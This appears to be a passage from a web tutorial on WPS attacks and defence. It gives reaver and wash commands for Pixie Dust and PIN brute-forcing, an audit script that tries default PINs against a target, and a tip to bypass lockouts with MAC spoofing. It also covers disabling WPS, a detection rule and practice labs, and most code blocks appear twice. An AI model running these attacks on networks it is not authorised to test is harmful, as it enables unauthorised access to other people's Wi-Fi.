# Increase TX power (if supported)
sudo iwconfig wlan0mon txpower 30

# Use directional antenna
# External high-gain antenna recommended

# Monitor errors
sudo reaver -i wlan0mon -b <BSSID> -c <CHANNEL> -vv 2>&1 | grep -i "error|warn"

🧪 Testing Verification

WPS Security Assessment

bash
# 1. Check if WPS is enabled
sudo wash -i wlan0mon | grep <BSSID>

# 2. Test Pixie Dust vulnerability
sudo reaver -i wlan0mon -b <BSSID> -c <CHANNEL> -K -vv -N

# 3. Check rate limiting
# Try 10 rapid PINs
for i in {1..10}; do
  sudo reaver -i wlan0mon -b <BSSID> -c <CHANNEL> -vv -d 0
done

# 4. Test lock mechanism
# If locked after X attempts, good security
sudo wash -i wlan0mon | grep -i "locked"

# 5. Verify WPS can be disabled
# Client-side: Check router interface
# Should have option: "Disable WPS"
# 1. Check if WPS is enabled
sudo wash -i wlan0mon | grep <BSSID>

# 2. Test Pixie Dust vulnerability
sudo reaver -i wlan0mon -b <BSSID> -c <CHANNEL> -K -vv -N

# 3. Check rate limiting
# Try 10 rapid PINs
for i in {1..10}; do
  sudo reaver -i wlan0mon -b <BSSID> -c <CHANNEL> -vv -d 0
done

# 4. Test lock mechanism
# If locked after X attempts, good security
sudo wash -i wlan0mon | grep -i "locked"

# 5. Verify WPS can be disabled
# Client-side: Check router interface
# Should have option: "Disable WPS"

Automated Testing Script

bash
#!/bin/bash
# wps_audit.sh

INTERFACE="wlan0mon"
BSSID="$1"
CHANNEL="$2"
LOGFILE="wps_audit_$(date +%Y%m%d_%H%M%S).log"

echo "[*] WPS Security Audit for $BSSID" | tee -a $LOGFILE

# Check WPS status
echo "[+] Checking WPS status..." | tee -a $LOGFILE
sudo wash -i $INTERFACE | grep $BSSID | tee -a $LOGFILE

# Pixie Dust test
echo "[+] Testing Pixie Dust vulnerability..." | tee -a $LOGFILE
timeout 120 sudo reaver -i $INTERFACE -b $BSSID -c $CHANNEL -K -vv | tee -a $LOGFILE

# Common PINs
echo "[+] Testing common default PINs..." | tee -a $LOGFILE
PINS=("12345670" "12345678" "00000000" "56562562")
for pin in "${PINS[@]}"; do
  echo "[*] Trying PIN: $pin" | tee -a $LOGFILE
  timeout 30 sudo reaver -i $INTERFACE -b $BSSID -c $CHANNEL -p $pin -vv | tee -a $LOGFILE
done

# Rate limiting test
echo "[+] Testing rate limiting..." | tee -a $LOGFILE
for i in {1..5}; do
  timeout 10 sudo reaver -i $INTERFACE -b $BSSID -c $CHANNEL -vv -d 0 2>&1 | grep -i "rate|lock" | tee -a $LOGFILE
done

echo "[+] Audit complete. Results in $LOGFILE"
#!/bin/bash
# wps_audit.sh

INTERFACE="wlan0mon"
BSSID="$1"
CHANNEL="$2"
LOGFILE="wps_audit_$(date +%Y%m%d_%H%M%S).log"

echo "[*] WPS Security Audit for $BSSID" | tee -a $LOGFILE

# Check WPS status
echo "[+] Checking WPS status..." | tee -a $LOGFILE
sudo wash -i $INTERFACE | grep $BSSID | tee -a $LOGFILE

# Pixie Dust test
echo "[+] Testing Pixie Dust vulnerability..." | tee -a $LOGFILE
timeout 120 sudo reaver -i $INTERFACE -b $BSSID -c $CHANNEL -K -vv | tee -a $LOGFILE

# Common PINs
echo "[+] Testing common default PINs..." | tee -a $LOGFILE
PINS=("12345670" "12345678" "00000000" "56562562")
for pin in "${PINS[@]}"; do
  echo "[*] Trying PIN: $pin" | tee -a $LOGFILE
  timeout 30 sudo reaver -i $INTERFACE -b $BSSID -c $CHANNEL -p $pin -vv | tee -a $LOGFILE
done

# Rate limiting test
echo "[+] Testing rate limiting..." | tee -a $LOGFILE
for i in {1..5}; do
  timeout 10 sudo reaver -i $INTERFACE -b $BSSID -c $CHANNEL -vv -d 0 2>&1 | grep -i "rate|lock" | tee -a $LOGFILE
done

echo "[+] Audit complete. Results in $LOGFILE"

🛡️ Mitigation & Defense

Disable WPS

⚙️ Router Configuration Steps

  1. Access router admin panel (usually http://192.168.1.1)
  2. Login with admin credentials
  3. Navigate to: Wireless → WPS Settings
  4. Set: WPS Enabled = Disabled
  5. Save and reboot
bash
# Verify WPS is disabled
sudo wash -i wlan0mon
# Target should not appear or show "No WPS"
# Verify WPS is disabled
sudo wash -i wlan0mon
# Target should not appear or show "No WPS"

Information

Hardware Button: Some routers have a physical WPS button that can be disabled in firmware settings.

Detection

bash
# Monitor for WPS brute force attempts
# Look for repeated EAPOL frames

sudo tcpdump -i wlan0mon -n -e -s 0 -v 'type mgt subtype probe-req' | grep -i "wps"

# IDS rule (Suricata/Snort)
alert wlan any any -> any any (msg:"WPS Brute Force Attempt"; \
  content:"|10 4a 00 01 10|"; threshold:type both,track by_src,count 10,seconds 60; \
  sid:1000001;)

# Log analysis
# Check router logs for:
# - Multiple failed WPS attempts
# - WPS transactions from unknown devices
# - Rapid PIN attempts
# Monitor for WPS brute force attempts
# Look for repeated EAPOL frames

sudo tcpdump -i wlan0mon -n -e -s 0 -v 'type mgt subtype probe-req' | grep -i "wps"

# IDS rule (Suricata/Snort)
alert wlan any any -> any any (msg:"WPS Brute Force Attempt"; \
  content:"|10 4a 00 01 10|"; threshold:type both,track by_src,count 10,seconds 60; \
  sid:1000001;)

# Log analysis
# Check router logs for:
# - Multiple failed WPS attempts
# - WPS transactions from unknown devices
# - Rapid PIN attempts

📚 Key Takeaways

Warning

  • WPS = Weak: Design flaw reduces 8-digit PIN to 11,000 attempts
  • Pixie Dust: Exploits weak RNG - works offline if vulnerable
  • Disable WPS: Only reliable mitigation is complete WPS disablement
  • Rate Limiting: Some routers lock WPS after failed attempts (bypass with MAC spoofing)
  • Default PINs: Many vendors use computed/static default PINs
  • Physical Button: WPS push-button is safer but still risky if enabled
🎯

WPS Attack Practice

Practice WPS PIN attacks including Pixie Dust and brute-force in an isolated lab environment.

🔧
WPS Pixie Dust Lab Custom Lab easy
wash scanningPixie Dust (reaver -K 1)WPS brute-force
🏠
WiFi Hacking 101 TryHackMe easy
WPS enumerationPIN calculationWPS remediation
Open Lab